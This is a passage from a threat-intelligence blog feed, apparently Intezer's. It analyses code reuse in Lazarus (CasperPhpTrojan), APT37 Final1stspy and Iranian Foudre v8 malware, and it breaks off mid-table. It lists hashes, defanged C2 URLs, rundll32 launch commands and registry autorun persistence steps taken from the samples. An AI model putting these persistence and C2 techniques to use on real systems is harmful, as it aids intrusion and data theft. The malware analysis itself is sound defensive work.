by McAfee and Intezer, Lazarus, one of the groups operating from North Korea,
has consistently reused code in their malware toolset. There is a common
pattern among the code of the malware that researchers and reverse engineers
alike find during their analysis. It has already been known that they have used
open source projects, like one from CodeProject we documented in
&lt;a href="https://intezer.com/blog/research/north-korea-iran-use-codeproject-develop-malware/?utm_campaign=research-blog&amp;amp;utm_content=paleontology-the-unknown-origins-of-lazarus-malware&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;another blog&lt;/a&gt;
post, or open source RATs like Gh0st RAT.&lt;/p&gt;
&lt;p&gt;This code, as described, has always been thought to be created originally by
the DPRK since the time they are thought to have started being active in 2007
until the present. We recently found some samples via our Vaccine feature (Yara
signatures) on VirusTotal with very low detections dating back to 2016 which
led us to find the origins of their toolset – an open source RAT called
CasperPhpTrojan, available on a Chinese website for open source projects.&lt;/p&gt;
&lt;h2&gt;CASPERTROY Malware&lt;span class="hx:absolute hx:-mt-20" id="caspertroy-malware"&gt;&lt;/span&gt;
&lt;a href="#caspertroy-malware" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Originally, the sample that we found in the wild, hit a Lazarus signature and
only had 3/65 detections in VirusTotal. After checking it in Intezer Analyze,
we saw code reuse shared with Red Gambler, as originally reported by
&lt;a href="https://global.ahnlab.com/global/upload/download/asecreport/ASEC%20REPORT_vol.91_ENG.pdf"target="_blank" rel="noopener"&gt;AhnLab&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig1.png" title="Malware sample first compiled in 2016, with RedGambler code genes as analyzed in Intezer." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Malware sample first compiled in 2016, with RedGambler code genes as analyzed in Intezer.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We can also see on the trojan that the internal name for this module is called
“DllTroy.dll” which is known to be associated with Lazarus.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig2.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;The string reuse is where the interesting finding comes from and will soon
reveal where we got the name CasperTroy from. The reused strings are in general
Lazarus samples used throughout different cyber campaigns, Operation Troy, a
Lazarus cyber campaign beginning in 2011, and Prioxer, another tool in their
arsenal.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig3.png" title="Lazarus String" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Lazarus String&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We see the same overlap of strings and decided to search &lt;code&gt;7d414e351603fa&lt;/code&gt; on
Google, resulting in only 7 results, which will bring us to the next topic of
this research – where did DPRK’s malware toolset originate?&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig4.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;The Origins: CasperPHPTrojan&lt;span class="hx:absolute hx:-mt-20" id="the-origins-casperphptrojan"&gt;&lt;/span&gt;
&lt;a href="#the-origins-casperphptrojan" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The source code to this open source trojan, CasperPhpTrojan, was originally
posted on a Chinese open source project website pudn[.]com. We downloaded the
source code, read through it, compiled it, and recognized similar occurrences
in Lazarus malware. We would like to show you some of the evidence we have
gathered by comparing the original code to the disassembly of different Lazarus
binaries. Also, much of this evidence has been documented in a previous blog
&lt;a href="../../../2017/12/blockbusted-lazarus-blockbuster-north-korea/"&gt;post&lt;/a&gt; where we
spoke about strange occurrences in the code and the same code being reused
again and again — even when the code was believed to be a mistake, like the
third example below.&lt;/p&gt;
&lt;p&gt;HTTP Header (various campaigns &amp;amp; malware)&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig5.png" title="CASPER.CPP" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;CASPER.CPP&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig6.png" title="Disassembly of multiple different Lazarus samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Disassembly of multiple different Lazarus samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;TrojUploader Function&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig7.png" title="casper_trojan.cpp" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;casper_trojan.cpp&lt;/figcaption&gt;
&lt;/figure&gt; &lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig8.png" title="TDrop Sample" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;TDrop Sample&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;GetProcAddress(LoadLibrary(“Kernel32.dll”), “GetProcAddress”);&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig9.png" title="CASPER.CPP" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;CASPER.CPP&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig10.png" title="Lazarus samples from 2014 and 2017" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Lazarus samples from 2014 and 2017&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;API Resolution&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig11.png" title="casper_inject.cpp" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;casper_inject.cpp&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/paleontology-the-unknown-origins-of-lazarus-malware/images/fig12.png" title="Various Lazarus samples" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Various Lazarus samples&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Although there are many modifications Lazarus made to CasperPhpTrojan, the base
is primarily the same and we believe that when the source code is compiled
under the correct environment with the correct flags, we can find even more
correlations between the compiled code and Lazarus binaries. It looks like it
is the base of their toolset and may strengthen the reason why we found so many
code connections between Lazarus malware in our comprehensive research with
McAfee about the DPRK.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;CasperTroy (2016) Droppers:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;458ffcc41959599f8dab1fd4366c9a50efefa376e42971c4a436aa7fd697a396
d1cf03fbcb6471d44b914c2720821582fb3dd81cb543f325b2780a5e95046395&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;CasperTroy (2016) RATs:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;ec73fe2ecc2e0425e4aeb1f01581b50c5b1f8e85475c20ea409de798e6469608
c62ec66e45098d2c41bfd7a674a5f76248cf4954225c2d3a2cfcd023daa93522
926a2e8c2baa90d504d48c0d50ca73e0f400d565ee6e07ad6dafdd0d7b948b0e&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;CasperTroy C&amp;amp;Cs:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;http://ready-jetkorea[.]com/data/file/pop/write_ok.php
http://plsong[.]com/xe/addons/counter/conf/write_ok.php&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Shared Code Examples:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;TDrop f4b7b36e9c940937748d5bba3beb82b7c3636f084e5e913c7a5ad3ad623ffbc5
MYDOOM 1b6a1320fba00dd2e56e35cf6f11f941deabcb6e4dba7ea773ded7e3d648ec54
KoreDos 068b89e2ec5655d006f2788ea328e5f12bd57ba761ee03c4de2fb0aa01c92c7f
DarkSeoul 4915f53221dc7786710a7a82a9cb00cf8468e0d1155a1355c9eb17e8cddfd265
Blockbuster 6724c041fe0df61a619006bf1df4a759f4f22a65e2afda32501760ebc9ebe25d&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>APT37: Final1stspy Reaping the FreeMilk</title><link>https://research.intezer.com/blog/2018/10/apt37-final1stspy-reaping-the-freemilk/</link><pubDate>Wed, 03 Oct 2018 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2018/10/apt37-final1stspy-reaping-the-freemilk/</guid><description>
&lt;p&gt;Researchers at Palo Alto Networks recently published a report regarding the
&lt;a href="https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/"target="_blank" rel="noopener"&gt;NOKKI&lt;/a&gt;
malware, which has shared code with KONNI and, although not in the report by
Palo Alto,
&lt;a href="https://malware.lu/assets/files/articles/RAP003_KimJongRAT-Stealer_Analysis.1.0.pdf"target="_blank" rel="noopener"&gt;KimJongRAT&lt;/a&gt;
(discovered by &lt;a href="https://twitter.com/r00tbsd"target="_blank" rel="noopener"&gt;Paul Rascagnères&lt;/a&gt; of Cisco Talos
in 2013), and another report on how there is evidence of the
&lt;a href="https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/"target="_blank" rel="noopener"&gt;NOKKI malware connecting to the North Korean threat actor&lt;/a&gt;
known as APT37, Reaper, or Group123.&lt;/p&gt;
&lt;p&gt;The malicious document related to NOKKI, using VBScript, downloads a newly
discovered malware named Final1stspy, due to the PDB string inside. As noted by
Palo Alto Networks, Final1stspy comes in 2 components, the EXE named &amp;ldquo;LoadDll&amp;rdquo;
with the sole purpose of loading up a DLL payload, internally named
&amp;ldquo;hadowexecute.&amp;rdquo; After collecting information about the infected computer, the
end result is that the DOGCALL malware, also known as ROKRAT, is downloaded as
the final payload, thus being one of the links between NOKKI and APT37.&lt;/p&gt;
&lt;h2&gt;Links Through Code Reuse&lt;span class="hx:absolute hx:-mt-20" id="links-through-code-reuse"&gt;&lt;/span&gt;
&lt;a href="#links-through-code-reuse" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The DLL payload component under the hash that was listed in the report was not
available on VirusTotal. We created some YARA signatures from the code of
“LoadDll” and did a hunt via VirusTotal. Since the EXE component shares code
with the DLL, the YARA hunt led us to find an earlier version of the DLL
component of Final1stspy with 2/67 detections, compilation timestamp of May 21,
2018, and first upload to VirusTotal date of July 11, 2018. This is an earlier
version than described in the Palo Alto report. After obtaining the
hadowexecute DLL component, we checked to see if there was any code reuse in
the Intezer Analyze™ system.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/10/apt37-final1stspy-reaping-the-freemilk/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;We see that there is some code shared between the EXE component of Final1stspy
and other code that has been seen before in the FreeMilk campaign which
utilized ROKRAT.&lt;/p&gt;
&lt;p&gt;Let’s see the shared code between ROKRAT and Final1stspy by doing comparison of
these functions in IDA. If you take a look, there is an identical match between
them.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/10/apt37-final1stspy-reaping-the-freemilk/images/fig2.png" title="ROKRAT &amp;amp; Final1stspy hadowexecute function comparison" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;ROKRAT &amp;amp; Final1stspy hadowexecute function comparison&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This function is unique code that has only been seen before in Group123’s
ROKRAT and the DLL component of Final1stspy. The identical function gathers
information about the operating system and stores it in the same format.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The evidence in Group123 being the threat actor involved here does not only lie
in the final delivered payload, but in the code itself. This code reuse
provides more evidence towards the relationship of KimJongRAT, KONNI, NOKKI,
Final1stspy, ROKRAT, and APT37.&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Final1stspy&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;2011b9aa61d280ca9397398434af94ec26ddb6ab51f5db269f1799b46cf65a76 (DLL)
0669c71740134323793429d10518576b42941f9eee0def6057ed9a4ba87a3a9a (DLL)
fb94a5e30de7afd1d9072ccedd90a249374f687f16170e1986d6fd43c143fb3a (EXE)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Group 123 (FreeMilk / ROKRAT Samples)&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;99c1b4887d96cb94f32b280c1039b3a7e39ad996859ffa6dd011cf3cca4f1ba5
01045aeea5198cbc893066d7e496f1362c56a154f093d1a8107cecad8d4e4df2
26ad5f8889d10dc45dcf1d3c626416eb604f5fe4a7268e044f17a3ab6ff14e53
65ec544841dbe666d20de086495158128ddffb8b076ddb801a3f2dc250481135
7f35521cdbaa4e86143656ff9c52cef8d1e5e5f8245860c205364138f82c54df
ef40f7ddff404d1193e025081780e32f88883fa4dd496f4189084d772a435cb2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>Prince of Persia: The Sands of Foudre</title><link>https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/</link><pubDate>Fri, 17 Aug 2018 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/</guid><description>
&lt;h2&gt;Introduction&lt;span class="hx:absolute hx:-mt-20" id="introduction"&gt;&lt;/span&gt;
&lt;a href="#introduction" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In the past couple years, Palo Alto Networks reported on the &amp;ldquo;Prince of Persia&amp;rdquo;
malware campaign which is believed to be of Iranian origin and ongoing for more
than 10 years. The original research, published in 2016, called the malware
&lt;a href="https://researchcenter.paloaltonetworks.com/2016/05/prince-of-persia-infy-malware-active-in-decade-of-targeted-attacks/"target="_blank" rel="noopener"&gt;Infy&lt;/a&gt;
and their second report, published in 2017, named the upgraded malware Foudre.
The name
&amp;ldquo;&lt;a href="https://researchcenter.paloaltonetworks.com/2017/08/unit42-prince-persia-ride-lightning-infy-returns-foudre/"target="_blank" rel="noopener"&gt;Foudre&lt;/a&gt;&amp;rdquo;
comes from a string in the binary used to check if the computer is already
infected. At the time of their blog post, Palo Alto Networks stated the version
of Foudre they observed were versions 1 and 2. We have found new evidence of
the Prince of Persia campaign active by finding a new version of the Foudre
malware, version 8.&lt;/p&gt;
&lt;p&gt;In this blog post, we are only going to focus on the new, unique, interesting
features of the new version of Foudre, and its related campaign&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig1.png" title="Internal version name of Foudre v8" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Internal version name of Foudre v8&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;No to The Forced Hijab&lt;span class="hx:absolute hx:-mt-20" id="no-to-the-forced-hijab"&gt;&lt;/span&gt;
&lt;a href="#no-to-the-forced-hijab" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Similarly to the samples noted in previous reports, this new malware also comes
packaged in a WinRAR SFX archive including multiple malicious binaries and a
media file. The media file in this case is a video in the MP4 format showing a
woman in Iran walking around and at the end pulling off her hijab. In the
video, there is text written in Farsi with a hashtag, بنه به حجاب اجباری#,
literally translating to &amp;ldquo;no to the forced hijab.&amp;rdquo; This hashtag is in reference
to protesters in Iran who are protesting the mandatory use of the hijab for
women and the video is meant to distract the victim while the Foudre malware
gets installed in the background.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig2.png" title="Screenshot from the video bundled in the malware" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Screenshot from the video bundled in the malware&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Foudre is a remote access tool and has the ability to remotely execute
commands, steal information about the infected target (such as keystrokes,
process information, etc), and auto-update itself. Most of the code and
functionality from the previous versions of Foudre and Infy was reused and can
be read about in the reports linked above, so we are only going to focus on the
new, unique, interesting features and the linkage of code reuse from previous
versions.&lt;/p&gt;
&lt;h2&gt;Code Reuse&lt;span class="hx:absolute hx:-mt-20" id="code-reuse"&gt;&lt;/span&gt;
&lt;a href="#code-reuse" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After uploading the WinRAR SFX to Intezer Analyze™, the files inside were
statically extracted which reveals 3 binaries, a lockbox3 signature, and the
video mentioned above.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Using our new Show Code feature, we can see code overlapping with Foudre and
Infy.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig4.png" title="Code overlap with Foudre" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code overlap with Foudre&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig5.png" title="Code overlap with Infy" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Code overlap with Infy&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;New Features/Changes&lt;span class="hx:absolute hx:-mt-20" id="new-featureschanges"&gt;&lt;/span&gt;
&lt;a href="#new-featureschanges" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;First of all, the main binary of the upgraded Foudre malware is mostly
undetected on
&lt;a href="https://www.virustotal.com/#/file/c7279a32329ebb1ab5c1cdbfbddb5a167e1505340c3ca72e837a222ff92665a6/detection"target="_blank" rel="noopener"&gt;VirusTotal&lt;/a&gt;
with only 3/67 detections.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/08/prince-of-persia-the-sands-of-foudre/images/fig6.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;In the latest version of Foudre, there are 2 modules. One of the modules
(i7234.dll) has the export &amp;ldquo;D1&amp;rdquo; and the other module (d388) exports &amp;ldquo;D2&amp;rdquo; as a
function. We are going to refer to the different binaries based on their
exports, D1 and D2. The third binary never gets launched and is still under
investigation. We will release more details about it on a further date. The
WinRAR SFX and D1 module only get executed once. The following features/changes
are spread across the WinRAR SFX, D1, and D2:&lt;/p&gt;
&lt;p&gt;WinRAR SFX Dropper:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;WinRAR SFX has icon of girl with hijab from video&lt;/li&gt;
&lt;li&gt;Extracts files&lt;/li&gt;
&lt;li&gt;Launches D1 (&lt;code&gt;i7234.dll&lt;/code&gt;) with rundll32 and executes export D1&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;D1:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;D1 executes the mp4 file&lt;/li&gt;
&lt;li&gt;Checks if finds a window &amp;ldquo;TNRRDPKE2&amp;rdquo; means it’s already running&lt;/li&gt;
&lt;li&gt;Copies D2 and key to &lt;code&gt;%APPDATA%&lt;/code&gt; with filenames a.n and p.k and creates a
shortcut in the folder named &amp;ldquo;an.lnk&amp;rdquo;
&lt;code&gt;C:\WINDOWS\system32\rundll32.exe a.n D2 838238125&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Deletes these files from TEMP folder&lt;/li&gt;
&lt;li&gt;Stores name of D2 (a.n) in &lt;code&gt;HKEY_CURRENT_USER\Software\temp&lt;/code&gt; in key called
&amp;ldquo;ran2&amp;rdquo;&lt;/li&gt;
&lt;li&gt;Checks &lt;code&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run&lt;/code&gt; for
SnailDriver&lt;/li&gt;
&lt;li&gt;Creates autorun for an.lnk&lt;/li&gt;
&lt;li&gt;Checks for &lt;code&gt;%PROGRAMFILES%\Kaspersky Lab&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Launches D2 with rundll32 &lt;code&gt;C:\WINDOWS\system32\rundll32.exe a.n D2 838238125&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;D2 has mostly the same features as reported in the older versions of Foudre but
this table shows the main changes:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Foudre&lt;/th&gt;
&lt;th&gt;Version 2&lt;/th&gt;
&lt;th&gt;Version 8&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Browser Stealer Support&lt;/td&gt;
&lt;td&gt;Microsoft Edge, Internet Explorer, Mozilla Firefox and, Google Chrome&lt;/td&gt;
&lt;td&gt;Opera, Microsoft Edge, Internet Explorer, Mozilla Firefox and, Google Chrome&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Domain Generation Algorithm&lt;/td&gt;
&lt;td&gt;Yes&lt;/td&gt;
